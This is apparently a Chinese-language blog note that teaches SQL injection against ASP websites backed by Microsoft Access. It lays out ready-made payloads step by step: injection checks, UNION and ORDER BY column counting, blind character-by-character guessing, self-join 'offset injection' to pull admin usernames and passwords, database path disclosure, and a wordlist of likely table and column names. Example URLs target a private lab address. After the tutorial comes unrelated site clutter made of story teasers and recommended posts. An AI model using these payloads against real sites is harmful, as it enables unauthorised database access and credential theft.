2018-05-09 漏洞2.ASP+ACCESS SQL注入

注入判斷:

單引號:'

數(shù)字型:and 1=1 /and 1=2

字符型:' and '1'='1 /' and '1'='2

搜索型:%' and 1=1 and '%'=' / %' and 1=2 and '%'='

Asp注入的三種方法

第一種:聯(lián)合查詢

1.使用order by對數(shù)據(jù)進行排序将硝,判斷存在多少個列表

order by 22 正確

order by 23 錯誤

2.使用UNION聯(lián)合查詢判斷

+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin

這里猜測表名為admin,使用聯(lián)合查詢的方法

image.png

3.猜解列名填入前端顯示處返回列表內(nèi)容

http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400 +UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22+from+admin

第二種:猜解

2.1爆破的方式

猜表名

返回正確說明存在相關(guān)表名

AND exists(select * from tablesname) 

猜列名

返回正確說明列名存在

AND exists(select columnsname from tablesname)

特殊方法:

在Access數(shù)據(jù)庫里野舶,也支持having 和 group by 語句

A贰军、如果站點SQL查詢語句為 select id,name,address from 表名

也就是說查詢的是特定的字段數(shù)據(jù)(而不是*)盖桥,那么我們可以這么爆崭孤,

productshow.asp?id=25 group by 1 having 1=1(數(shù)字型),

如果字符型就 'group by 1 having '1'='1'

返回錯誤:

Microsoft JET Database Engine (0x80040E21)

試圖執(zhí)行的查詢中不包含作為合計函數(shù)一部分的特定表達式 'id' 签杈。

爆出id字段规脸,繼續(xù),productshow.asp?id=25 group by 1,id having 1=1

返回錯誤:

Microsoft JET Database Engine (0x80040E21)

試圖執(zhí)行的查詢中不包含作為合計函數(shù)一部分的特定表達式 'email' 秘案。

依次類推productshow.asp?id=25 group by 1,id,email having 1=1砰苍,可以爆出目標表中的所有字段

B、如果站點SQL查詢語句為select * from product where id=”ID”

那么執(zhí)行上述語句就會返 回這樣的錯誤:

Microsoft JET Database Engine 錯誤 '80040e21' 不能將已選定'*'的字段中組合阱高。/productshow.asp赚导,行 18

這時我們可以這樣爆字段,

productshow.asp?id=25 having sum(1)=1(數(shù)字型)

                    ' having sum('1')='1')(字符型)

返回的錯誤:

Microsoft JET Database Engine 錯誤 '80040e21' 試圖執(zhí)行的查詢中不包含作為合計函數(shù)一部分的特定表達式 'id' 赤惊。/productshow.asp吼旧,行 18

可以看到爆出了ID。

但這樣很有局限性未舟,只能爆出第一個字段id圈暗,其他的就沒辦法了。而id字段其實可能是可以直接猜出來的裕膀。

2.2逐字猜解的方法

猜解列中內(nèi)容的行數(shù)

x為內(nèi)容的行數(shù)大于等于0開始员串,返回正確說明存在

AND IIF((SELECT COUNT(*) FROM tablesname) = X, 1, 0)

如下表單為admin,AND IIF((SELECT COUNT(*) FROM tablesname) = X, 1, 0)


image.png

猜解內(nèi)容的長度

如果目標注入點不直接回顯錯誤信息昼扛,則我們需要首先知道目標字段內(nèi)容的長度寸齐,才能進一步通過寫腳本爆破出字段內(nèi)容。

需要已知表名和列名然后猜列中字段長度

AND IIF((SELECT TOP 1 LEN(columnsname) FROM tablesname) = x, 1, 0)

或者

and (select top 1 len(columnsname)from tablesname)>x

猜解內(nèi)容

and (select top 1 asc(mid(列名,位數(shù),1)) from 表名)>97

神奇的分割線





Access偏移注入

偏移注入的使用條件如下:

主查詢語句的字段數(shù)大于或等于目標表列的兩倍最好抄谐,這樣一般都能顯示齊渺鹦。

知道目標表的一個字段,比如id蛹含,但是卻不知道其他字段海铆。

簡單說下偏移注入原理:

1.Union聯(lián)合查詢需要列相等,順序一樣挣惰;

2.這句話就是說把admin表記為a卧斟,同時也記為b殴边,然后查詢條件是a表的id列與b表的id列相等,返回所有相等的行珍语。顯然锤岸,a、b都是同一個表板乙,當(dāng)然全部返回啦是偷。

select * from admin as a inner join admin as b on a.id=b.id

(1)order by 判斷存在的字段數(shù)

使用*號代替所有字段直到訪問返回正確。這里可以看到16時候正確募逞,同時也表示admin下有6個字段蛋铆。

http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin

(2) 計算偏移后剩余的字段位數(shù)

公式 : 總字段數(shù)-(總字段數(shù)-剩余字段數(shù))*2=

例: 22-(22-16)*2=10

(3) 使用偏移查看是否直接爆出字段內(nèi)容

union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)

(4)如果顯示不完全添加新的id

星號*代表了所有字段,如你查admin表放接,他有幾個字段刺啦,那么星號就代表幾個字段。

如果爆出的內(nèi)容不在可顯示字段怎么辦纠脾?那么添加a.id字段玛瘸,bid字段

union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

(5)如果依然有問題,可以進行二級偏移

二級偏移同時需要再減去admin的字段數(shù)量6個苟蹈,同時添加c.id

http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

這里假設(shè)主語句查詢字段共20個糊渊,目標表admin字段數(shù)為5。

大家是否覺得很疑惑:10+2 + 5*2 = 22 > 20

但這條語句是合法的慧脱。因為a.id和 b.id在 * 里是有的渺绒,那么自動去掉重復(fù)的元素以保持結(jié)果集合里元素的唯一性。這樣一來雖然查詢效果一樣菱鸥,但是*里的字段排列順序卻被打亂了芒篷!先后兩次打亂很有可能讓username、password等字段偏移到可顯示位置采缚。

如果還沒成功 怎么辦针炉?

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,d.id,* from (((admin as ainner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)


其他技巧

檢測數(shù)據(jù)庫是否開啟沙箱模式

SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1

用TOP代替LIMIT

LIMIT不被支持,但在查詢中可以聲明”TOP N”來限制返回內(nèi)容的行數(shù):

 UNION SELECT TOP 3 AttrName FROM validTableName

字符串連接

支持CONCAT()函數(shù)扳抽,可以使用”&”或”+”操作來連接兩個字符串篡帕。在使用時必須對這兩個操作符進行URLencode編碼

UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"

UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"

爆數(shù)據(jù)庫路徑

可以通過對一個不存在的庫進行SELECT操作,Access將會返回一條包含有完整路徑的錯誤信息:

UNION SELECT 1 FROM ThisIsAFakeName.FakeTable

表名/列名字典

account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;

customers, customer, config, conf, cfg;

hash;

login, logout, loginout, log;

member, memberid;

password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;

store, store1, store2, store3, store4, setting;

username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末贸呢,一起剝皮案震驚了整個濱河市镰烧,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌楞陷,老刑警劉巖怔鳖,帶你破解...
    沈念sama閱讀 211,884評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異固蛾,居然都是意外死亡结执,警方通過查閱死者的電腦和手機度陆,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,347評論 3 385
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來献幔,“玉大人懂傀,你說我怎么就攤上這事±校” “怎么了蹬蚁?”我有些...
    開封第一講書人閱讀 157,435評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長郑兴。 經(jīng)常有香客問我犀斋,道長,這世上最難降的妖魔是什么情连? 我笑而不...
    開封第一講書人閱讀 56,509評論 1 284
  • 正文 為了忘掉前任叽粹,我火速辦了婚禮,結(jié)果婚禮上蒙具,老公的妹妹穿的比我還像新娘球榆。我一直安慰自己朽肥,他們只是感情好禁筏,可當(dāng)我...
    茶點故事閱讀 65,611評論 6 386
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著衡招,像睡著了一般篱昔。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上始腾,一...
    開封第一講書人閱讀 49,837評論 1 290
  • 那天州刽,我揣著相機與錄音,去河邊找鬼浪箭。 笑死穗椅,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的奶栖。 我是一名探鬼主播匹表,決...
    沈念sama閱讀 38,987評論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼宣鄙!你這毒婦竟也來了袍镀?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,730評論 0 267
  • 序言:老撾萬榮一對情侶失蹤冻晤,失蹤者是張志新(化名)和其女友劉穎苇羡,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體鼻弧,經(jīng)...
    沈念sama閱讀 44,194評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡设江,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,525評論 2 327
  • 正文 我和宋清朗相戀三年锦茁,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片绣硝。...
    茶點故事閱讀 38,664評論 1 340
  • 序言:一個原本活蹦亂跳的男人離奇死亡蜻势,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出鹉胖,到底是詐尸還是另有隱情握玛,我是刑警寧澤,帶...
    沈念sama閱讀 34,334評論 4 330
  • 正文 年R本政府宣布甫菠,位于F島的核電站挠铲,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏寂诱。R本人自食惡果不足惜拂苹,卻給世界環(huán)境...
    茶點故事閱讀 39,944評論 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望痰洒。 院中可真熱鬧瓢棒,春花似錦、人聲如沸丘喻。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,764評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽泉粉。三九已至连霉,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間嗡靡,已是汗流浹背跺撼。 一陣腳步聲響...
    開封第一講書人閱讀 31,997評論 1 266
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留讨彼,地道東北人歉井。 一個月前我還...
    沈念sama閱讀 46,389評論 2 360
  • 正文 我出身青樓,卻偏偏與公主長得像哈误,于是被迫代替她去往敵國和親哩至。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 43,554評論 2 349

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理黑滴,服務(wù)發(fā)現(xiàn)憨募,斷路器,智...
    卡卡羅2017閱讀 134,633評論 18 139
  • Day02課程——Mysql數(shù)據(jù)入門 1.安裝,使用 下載SQLyog安裝,破解打開注冊表注冊使用填寫需要的IP地...
    繁華落幕_川閱讀 264評論 0 1
  • 姓名:于川皓 學(xué)號:16140210089 轉(zhuǎn)載自:https://baike.baidu.com/item/sq...
    道無涯_cc76閱讀 1,934評論 0 2
  • 現(xiàn)在我自己一個人在圖書館里,又經(jīng)歷了這樣的一次失敗,我像個無助的孩子一樣尾膊,想哭媳危,但是又不能哭。 好久都沒有過這樣的...
    說dream閱讀 229評論 0 0
  • Evenodd閱讀 279評論 0 0